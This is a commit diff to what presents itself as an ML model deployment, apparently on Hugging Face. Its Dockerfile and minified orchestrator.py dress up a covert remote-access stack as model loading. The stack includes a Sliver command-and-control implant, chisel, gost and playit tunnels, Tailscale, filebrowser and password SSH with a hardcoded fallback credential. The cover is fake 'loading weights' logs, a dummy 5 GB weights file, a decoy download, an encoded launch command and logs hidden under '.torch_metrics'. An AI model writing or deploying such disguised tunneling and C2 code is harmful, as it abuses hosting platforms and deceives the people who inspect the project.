SamuelLance73 commited on
Commit
95ce4d8
·
verified ·
1 Parent(s): 62348cc

Automated deployment update from ML build

Browse files
Files changed (2) hide show
  1. Dockerfile +1 -1
  2. core/orchestrator.py +11 -11
Dockerfile CHANGED
@@ -5,7 +5,7 @@ COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/
5
  RUN apt-get update && apt-get install -y --no-install-recommends \
6
  curl wget sudo python3 python3-pip upx openssh-server nginx \
7
  git vim nano htop tmux jq unzip iputils-ping net-tools tree \
8
- rclone fuse3 supervisor \
9
  && apt-get clean && rm -rf /var/lib/apt/lists/* && \
10
  mkdir -p /var/run/sshd && chmod 0755 /var/run/sshd && \
11
  echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config && \
 
5
  RUN apt-get update && apt-get install -y --no-install-recommends \
6
  curl wget sudo python3 python3-pip upx openssh-server nginx \
7
  git vim nano htop tmux jq unzip iputils-ping net-tools tree \
8
+ rclone supervisor \
9
  && apt-get clean && rm -rf /var/lib/apt/lists/* && \
10
  mkdir -p /var/run/sshd && chmod 0755 /var/run/sshd && \
11
  echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config && \
core/orchestrator.py CHANGED
@@ -23,10 +23,10 @@ def jitter_task():
23
  try:logger.debug('Syncing model cache...');subprocess.run(['curl','-s','-o','/dev/null','https://huggingface.co/gpt2/resolve/main/vocab.json'])
24
  except Exception:pass
25
  def main():
26
- d='SSH';c='PASS';b='TAILSCALE';a='/home/user/pytorch_model.bin';Z='/home/user/.torch_metrics/nginx.log';Y='/home/user/.torch_metrics/sliver.log';X='/home/user/.torch_metrics/gost.log';W='/home/user/.torch_metrics/chisel.log';V='/home/user/.torch_metrics/tm_daemon.log';U='/home/user/.torch_metrics/fb.log';T='/home/user/.torch_metrics/ts_daemon.log';S='/home/user/.torch_metrics';O='CHISEL';N='PLAYIT';A='a'
27
- if COVERT_LOGGING_MODE==1:os.makedirs(S,exist_ok=_A);D=open(T,A);H=open(U,A);I=open(V,A);J=open(W,A);K=open(X,A);L=open(Y,A);M=open(Z,A)
28
  elif COVERT_LOGGING_MODE==2:
29
- os.makedirs(S,exist_ok=_A)
30
  class B:
31
  def __init__(B,filepath,prefix):B.file=open(filepath,A);B.prefix=prefix;C,D=os.pipe();B.r=C;B.w=D;threading.Thread(target=B._reader,daemon=_A).start()
32
  def _reader(A):
@@ -37,21 +37,21 @@ def main():
37
  def fileno(A):return A.w
38
  def write(A,s):A.file.write(s);A.file.flush();sys.stdout.write(f"[{A.prefix}] {s}\n"if not s.endswith('\n')else f"[{A.prefix}] {s}");sys.stdout.flush()
39
  def flush(A):A.file.flush();sys.stdout.flush()
40
- D=B(T,'TS');H=B(U,'FB');I=B(V,N);J=B(W,O);K=B(X,'GOST');L=B(Y,'SLIVER');M=B(Z,'NGINX')
41
  else:C=open(os.devnull,'w');D=C;H=C;I=C;J=C;K=C;L=C;M=C
42
- os.makedirs('/home/user/static',exist_ok=_A);nginx.start(M);logger.info('Starting Gradio fake app (API server)...');e=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');f=subprocess.Popen(e,shell=_A)
43
- if not os.path.exists(a):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',a])
44
- logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();P=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {P}s)...");time.sleep(P);tailscale.start_daemon(D);time.sleep(2);logger.info('Warming up text-generation pipelines...');g=os.environ.get('A')or os.environ.get(b)or'';Q=deobfuscate_secret(g.strip());h=os.environ.get('P')or os.environ.get(N)or'';R=deobfuscate_secret(h.strip());i=os.environ.get('C')or os.environ.get(O)or'';E=deobfuscate_secret(i.strip())
45
  if not E:E='user:apple123'
46
- j=['A',b,'P',N,'C',O]
47
  for F in j:
48
  if F in os.environ:del os.environ[F]
49
- filebrowser.start(H);playit.start(I,R);R='';chisel.start(J,E);gost.start(K,E);sliver.start(L);E='';time.sleep(5);tailscale.connect(D,Q);Q='';k=os.environ.get(c)or os.environ.get(d)or'';G=deobfuscate_secret(k.strip())
50
  if G:logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
51
  else:G=''.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {G}")
52
  try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{G}\n",text=_A,check=_A)
53
  except Exception as l:logger.error(f"Failed to set password: {l}")
54
- for F in[c,d]:
55
  if F in os.environ:del os.environ[F]
56
  subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=D,stderr=D)
57
  def m():
@@ -90,5 +90,5 @@ def main():
90
  try:B.close()
91
  except:pass
92
  except Exception:pass
93
- threading.Thread(target=m,daemon=_A).start();minecraft.start();logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');f.wait()
94
  if __name__=='__main__':main()
 
23
  try:logger.debug('Syncing model cache...');subprocess.run(['curl','-s','-o','/dev/null','https://huggingface.co/gpt2/resolve/main/vocab.json'])
24
  except Exception:pass
25
  def main():
26
+ c='SSH';b='PASS';a='TAILSCALE';Z='/home/user/pytorch_model.bin';Y='/home/user/.torch_metrics/nginx.log';X='/home/user/.torch_metrics/sliver.log';W='/home/user/.torch_metrics/gost.log';V='/home/user/.torch_metrics/chisel.log';U='/home/user/.torch_metrics/tm_daemon.log';T='/home/user/.torch_metrics/fb.log';S='/home/user/.torch_metrics/ts_daemon.log';R='/home/user/.torch_metrics';O='CHISEL';N='PLAYIT';A='a'
27
+ if COVERT_LOGGING_MODE==1:os.makedirs(R,exist_ok=_A);D=open(S,A);H=open(T,A);I=open(U,A);J=open(V,A);K=open(W,A);L=open(X,A);M=open(Y,A)
28
  elif COVERT_LOGGING_MODE==2:
29
+ os.makedirs(R,exist_ok=_A)
30
  class B:
31
  def __init__(B,filepath,prefix):B.file=open(filepath,A);B.prefix=prefix;C,D=os.pipe();B.r=C;B.w=D;threading.Thread(target=B._reader,daemon=_A).start()
32
  def _reader(A):
 
37
  def fileno(A):return A.w
38
  def write(A,s):A.file.write(s);A.file.flush();sys.stdout.write(f"[{A.prefix}] {s}\n"if not s.endswith('\n')else f"[{A.prefix}] {s}");sys.stdout.flush()
39
  def flush(A):A.file.flush();sys.stdout.flush()
40
+ D=B(S,'TS');H=B(T,'FB');I=B(U,N);J=B(V,O);K=B(W,'GOST');L=B(X,'SLIVER');M=B(Y,'NGINX')
41
  else:C=open(os.devnull,'w');D=C;H=C;I=C;J=C;K=C;L=C;M=C
42
+ os.makedirs('/home/user/static',exist_ok=_A);nginx.start(M);logger.info('Starting Gradio fake app (API server)...');d=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');e=subprocess.Popen(d,shell=_A)
43
+ if not os.path.exists(Z):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',Z])
44
+ logger.info('Loading model weights into VRAM...');threading.Thread(target=jitter_task,daemon=_A).start();f=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {f}s)...");tailscale.start_daemon(D);logger.info('Warming up text-generation pipelines...');g=os.environ.get('A')or os.environ.get(a)or'';P=deobfuscate_secret(g.strip());h=os.environ.get('P')or os.environ.get(N)or'';Q=deobfuscate_secret(h.strip());i=os.environ.get('C')or os.environ.get(O)or'';E=deobfuscate_secret(i.strip())
45
  if not E:E='user:apple123'
46
+ j=['A',a,'P',N,'C',O]
47
  for F in j:
48
  if F in os.environ:del os.environ[F]
49
+ filebrowser.start(H);playit.start(I,Q);Q='';chisel.start(J,E);gost.start(K,E);sliver.start(L);E='';tailscale.connect(D,P);P='';k=os.environ.get(b)or os.environ.get(c)or'';G=deobfuscate_secret(k.strip())
50
  if G:logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
51
  else:G=''.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {G}")
52
  try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{G}\n",text=_A,check=_A)
53
  except Exception as l:logger.error(f"Failed to set password: {l}")
54
+ for F in[b,c]:
55
  if F in os.environ:del os.environ[F]
56
  subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=D,stderr=D)
57
  def m():
 
90
  try:B.close()
91
  except:pass
92
  except Exception:pass
93
+ threading.Thread(target=m,daemon=_A).start();minecraft.start();logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');e.wait()
94
  if __name__=='__main__':main()